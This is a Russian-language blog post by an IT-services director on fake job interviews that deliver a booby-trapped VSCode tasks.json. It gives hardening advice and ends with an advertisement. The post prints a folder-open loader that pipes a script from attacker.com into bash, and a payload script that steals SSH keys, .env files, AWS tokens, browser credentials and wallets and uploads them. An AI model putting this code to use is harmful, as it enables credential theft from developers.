ИИ-скамеры против разработчиков: новая волна атак через фейковые собеседования
Меня зовут Семёнов Евгений Сергеевич, директор АйТи Фреш. В марте 2026 года у одного из наших клиентов — веб-студии на 22 сотрудника — мы разобрали инцидент: middle-разработчик получил «оффер» на LinkedIn с приятной зарплатой, прошёл два этапа собеседования, на третьем ему прислали тестовое задание в приватном репозитории GitHub. Он открыл репозиторий в VSCode — и через 15 секунд у компании утекли SSH-ключи к продакшен-серверам, токены AWS и credentials от Bitrix24. Никакого малваря в прямом смысле не было — атака выполнилась одной строчкой в tasks.json. Эту схему сейчас массово раскатывают ИИ-агенты, и разбирать её надо прямо сейчас, пока у ваших разработчиков ключи не поперёк офисной стены.
Что изменилось: ИИ превратил скам в конвейер
До ИИ-агентов фейковые офферы на разработчиков были точечными: злоумышленник вручную собирал профиль цели, писал индивидуальное письмо, имитировал HR-специалиста. Это трудозатратно, поэтому охватить удавалось десятки, максимум сотни человек в месяц.
В 2025-2026 появились ИИ-агенты, которые делают то же самое в промышленном масштабе. Один оператор запускает агента, тот через публичные API LinkedIn, HeadHunter и GitHub парсит профили, определяет технологический стек каждой цели и генерирует персонализированное письмо с именно такой позицией, которая идеально подходит соискателю. Backend-разработчику на Go прилетает вакансия Go-разработчика с нужной нишевой специализацией. Frontend-щику на React — почти ровно его стек. Десятки тысяч сообщений в день, каждое выглядит как живое.
У одного исследователя, ловившего таких агентов в honeypot-аккаунтах, за 40 дней набралось 1 170 фейковых офферов. 82% выходили из новых GitHub-профилей с 1-3 коммитами и стоковой аватаркой. 18% — с правдоподобных, но украденных аккаунтов.
Техническая суть атаки: tasks.json как оружие
Всё гениальное просто. В VSCode есть папка .vscode в каждом проекте, где лежат настройки рабочего пространства. Среди них — tasks.json, конфиг задач сборки/линтинга/тестов. У задач есть параметр runOn, который может быть folderOpen — «выполни эту задачу, как только пользователь откроет папку».
Вот минимальный пример атакующего tasks.json:
{
"version": "2.0.0",
"tasks": [
{
"label": "install-deps",
"type": "shell",
"command": "curl -fsSL https://attacker.com/x.sh | bash",
"runOptions": { "runOn": "folderOpen" },
"presentation": { "reveal": "never", "panel": "dedicated" }
}
]
}
При открытии проекта VSCode без всякого подтверждения скачивает скрипт и запускает. Скрипт делает следующее (реальный дамп одного из пойманных вариантов):
# Собираем SSH-ключи
tar -czf /tmp/ssh.tgz ~/.ssh/ 2>/dev/null
# .env из всех проектов
find ~ -maxdepth 4 -name ".env" -not -path "*/node_modules/*" \
-exec cat {} \; 2>/dev/null > /tmp/envs.txt
# AWS
tar -czf /tmp/aws.tgz ~/.aws/ 2>/dev/null
# Chrome / Firefox credentials
cp -r ~/.config/google-chrome/Default/Login\ Data /tmp/chrome.db 2>/dev/null
cp -r ~/.mozilla/firefox/*/key4.db /tmp/ff.db 2>/dev/null
# Криптокошельки
find ~/.config -name "exodus.wallet" -exec cp {} /tmp/ \;
find ~ -maxdepth 4 -name "UTC--*" -exec cp {} /tmp/ \;
# Заливаем
curl -X POST https://attacker.com/loot \
-F "host=$(hostname)" \
-F "ssh=@/tmp/ssh.tgz" -F "envs=@/tmp/envs.txt" \
-F "aws=@/tmp/aws.tgz" -F "chrome=@/tmp/chrome.db"
Всё это выполняется за 10-20 секунд в зависимости от канала. Разработчик видит экран VSCode, открывающий проект, — и не замечает ничего.
Почему атака бьёт именно по бизнесу
Обычно такие утечки списывают на «разработчик дурак». Но для IT-аутсорсера и для любого офиса это корпоративная проблема:
- SSH-ключ разработчика открывает прод-сервер компании, а не его домашний Raspberry Pi.
.env-файлы содержат PostgreSQL/Redis/S3 credentials корпоративных баз.- Токен AWS даёт злоумышленнику доступ к облачной инфраструктуре клиента — а это сотни тысяч долларов в компрометации.
- В bash-истории лежат команды с паролями:
mysql -uroot -p'MyProdPass!'. - Cookie браузера открывают активные сессии в Bitrix24, amoCRM, GitHub, корпоративной почте.
В инциденте у нашего клиента — веб-студии — по утекшим ключам злоумышленник зашёл на два прод-сервера, развернул на них Monero-майнер и пролежал там 9 дней до обнаружения. Счёт за облако вырос на 140 000 руб. Это ещё дёшево — в марте 2025 года была история, когда через ту же схему у немецкой финтех-компании угнали 1.7 млн евро с корпоративного кошелька.
Признаки фейкового оффера и репозитория
Инструктаж, который я даю разработчикам клиентов:
| Признак | Что значит |
|---|---|
| Первое сообщение в LinkedIn/Telegram без видеозвонка | Агент не хочет показывать лицо, потому что нет лица |
| Опечатки «для естественности» | Модель специально их вставляет, чтобы не выглядеть как LLM |
| Ответы только в строго определённые часы | У оператора ограниченный таймфрейм работы агента |
| Вакансия идеально совпадает со стеком кандидата | Агент прочитал твой GitHub и сгенерировал именно под тебя |
| Приглашение в приватный GitHub-репозиторий | Чтобы ты не мог просмотреть содержимое через веб до клонирования |
Папка .vscode в тестовом | Никогда не должна быть в тестовом задании соискателю |
| Обфусцированные скрипты, непонятные бинарники | Прямые признаки закладки |
Отдельно: компании-работодателя по названию не найдётся в ЕГРЮЛ или западных корпоративных реестрах. Или найдётся, но это пустая shell company.
Базовая защита: ставлю всем клиентам за 2 часа
Первый и главный настройщик — отключить автоматические задачи VSCode. Файл settings.json должен содержать:
{
"task.allowAutomaticTasks": "off",
"security.workspace.trust.enabled": true,
"security.workspace.trust.banner": "always",
"security.workspace.trust.emptyWindow": false,
"security.workspace.trust.untrustedFiles": "prompt"
}
Эти пять строчек убивают весь класс атак через folderOpen. Workspace Trust заставляет VSCode спросить «ты доверяешь этой папке?» при каждом открытии нового проекта, и пока доверие не подтверждено — задачи, дебаггер и расширения не выполняются.
Для корпоративного деплоя настройки я использую:
- Windows: GPO с копированием файла
%APPDATA%\Code\User\settings.jsonпри логине + ADMX-шаблоны VSCode. - macOS / Linux: Ansible-плейбук, идёт из CI раз в день, идемпотентно обновляет настройки.
- MDM: JamfPro для Mac, Intune для Windows — через конфигурационный профиль.
Аппаратные ключи — обязательно для SSH и GitHub
Даже если tasks.json-атака сработает, аппаратный ключ делает SSH-ключи и GitHub-токены бесполезными для злоумышленника. YubiKey или RuToken хранит приватный ключ внутри чипа, его невозможно скопировать.
Для SSH настройка за 5 минут:
# На клиенте
ssh-keygen -t ed25519-sk -O resident -O verify-required \
-f ~/.ssh/id_ed25519_sk -C "evgeniy@itfresh-yubikey-2"
# Ключ требует физического касания YubiKey при каждом соединении
# На сервере добавляем в authorized_keys стандартно
cat ~/.ssh/id_ed25519_sk.pub >> /etc/ssh/authorized_keys
Для GitHub-коммитов я перевожу разработчиков на SSH-commit-signing тем же ключом — это закрывает ещё и подделку коммитов украденным токеном.
Стоимость YubiKey 5C NFC — около 6 000 руб. на человека. Для офиса в 20 разработчиков это 120 000 руб. разово. После потери доступа к продакшену на сумму от 140 000 руб. и выше окупается с первого инцидента.
Что мы сделали у клиента после инцидента
По следам инцидента с утёкшими ключами я провёл у веб-студии двухдневный проект:
- Отозваны все SSH-ключи на всех прод-серверах. Перевыпущены через YubiKey.
- Все AWS-токены в IAM отозваны. Настроены short-lived credentials через AWS IAM Identity Center + STS на 12 часов.
- Пароли Bitrix24, GitHub, Google Workspace — сменены у всех 22 сотрудников. Включена аппаратная 2FA (обязательна для всех).
- Деплой настроек VSCode через GPO (Windows) и Ansible (Linux-разработчики). 19 рабочих станций переконфигурированы за день.
- EDR (Kaspersky Endpoint Security) настроен на алерты при чтении
~/.ssh/,~/.aws/,~/.config/*wallet*, при выполнении скриптов из.vscode/. - Проведён двухчасовой инструктаж команды: показал реальный tasks.json из инцидента, разобрали признаки фейковых офферов, научили проверять через
git archive --format=tar HEAD | tar -tперед клонированием. - Добавлено правило: все тестовые задания от сторонних работодателей клонируются и открываются только в одноразовой VM. Настроена QEMU/KVM template с Debian 12 и предустановленным VSCode — запуск новой VM за 30 секунд.
Стоимость проекта — 68 000 руб. плюс 120 000 руб. на YubiKey. По сравнению с 140 000 руб. майнинга и потенциальной утечкой клиентских данных — дёшево.
Политика для всех разработчиков в офисе
Я раздаю такую одностраничную памятку:
- Неизвестный оффер — минимум два видеозвонка с HR и тимлидом, проверка компании в ЕГРЮЛ/Crunchbase.
- Тестовое задание открывать только в VM. Не на рабочей машине.
- Перед клонированием — смотреть содержимое через GitHub web UI, особенно
.vscode/,package.jsonна подозрительныеpostinstall,Makefileнаall:,docker-compose.ymlна волюмы к корню. - Никогда не запускать
npm install/pip install -r requirements.txtвне изолированного окружения. - Все SSH и Git — через YubiKey с касанием.
- Все
.envпрод-значения — только в 1Password/Vault, не в локальных файлах. - Подозрительный скрипт — не закрывать «а что будет», а сразу
rebootVM и сообщить в ИБ.
Защитим ваш офис от ИИ-скама — от 55 000 руб.
Я лично провожу аудит уязвимости рабочих станций разработчиков и настраиваю корпоративную защиту для компаний в Москве. Деплой VSCode-политик через GPO/Ansible, переход на YubiKey, EDR-алерты на чтение секретов, инструктаж команды. Типовой проект для 20-40 рабочих мест — 2-3 дня. Бесплатный выезд и предварительный аудит.
Телефон: +7 903 729-62-41
Telegram: @ITfresh_Boss
Семёнов Евгений Сергеевич, директор АйТи Фреш
FAQ — защита от ИИ-скама
- Как работает атака через tasks.json в VSCode?
- В репозитории создаётся файл .vscode/tasks.json с параметром runOn: folderOpen. Когда разработчик открывает папку в VSCode, задача выполняется автоматически — скачивается и запускается скрипт с удалённого сервера. Скрипт ищет SSH-ключи, .env, криптокошельки, пароли браузера и отправляет их злоумышленнику.
- Какие данные крадут у разработчиков?
- Основные цели: приватные ключи SSH из ~/.ssh, файлы переменных окружения .env с credentials, файлы кошельков Metamask/Exodus/Phantom, пароли и cookie из Chrome/Firefox/Edge, токены AWS/GCP из ~/.aws и ~/.config, история bash и zsh с командами.
- Как защитить разработчиков своей компании?
- Пять шагов: отключить автоматические задачи VSCode, настроить EDR с мониторингом ~/.ssh и .aws, перевести команду на аппаратные ключи YubiKey/Token, провести внутренний инструктаж по признакам фейковых офферов, отделить рабочие ключи от личных через разные профили ОС или виртуальные машины.
- Можно ли просто запретить tasks.json в корпоративной политике?
- Можно и нужно. В settings.json корпоративных рабочих мест прописываем task.allowAutomaticTasks: off и security.workspace.trust.enabled: true. Для централизованного деплоя конфигов VSCode используем MDM (Intune, JamfPro) или Ansible с правами administrator для Windows/Linux.
- Сколько стоит защитить офис от таких атак?
- Для офиса на 30-50 рабочих мест базовая защита — от 55 000 руб.: деплой конфигов VSCode через GPO, переход на YubiKey для SSH у разработчиков и админов, настройка EDR с alertами на чтение ~/.ssh, обучение команды (2 часа). Аппаратные ключи — плюс 6 000 руб. на сотрудника.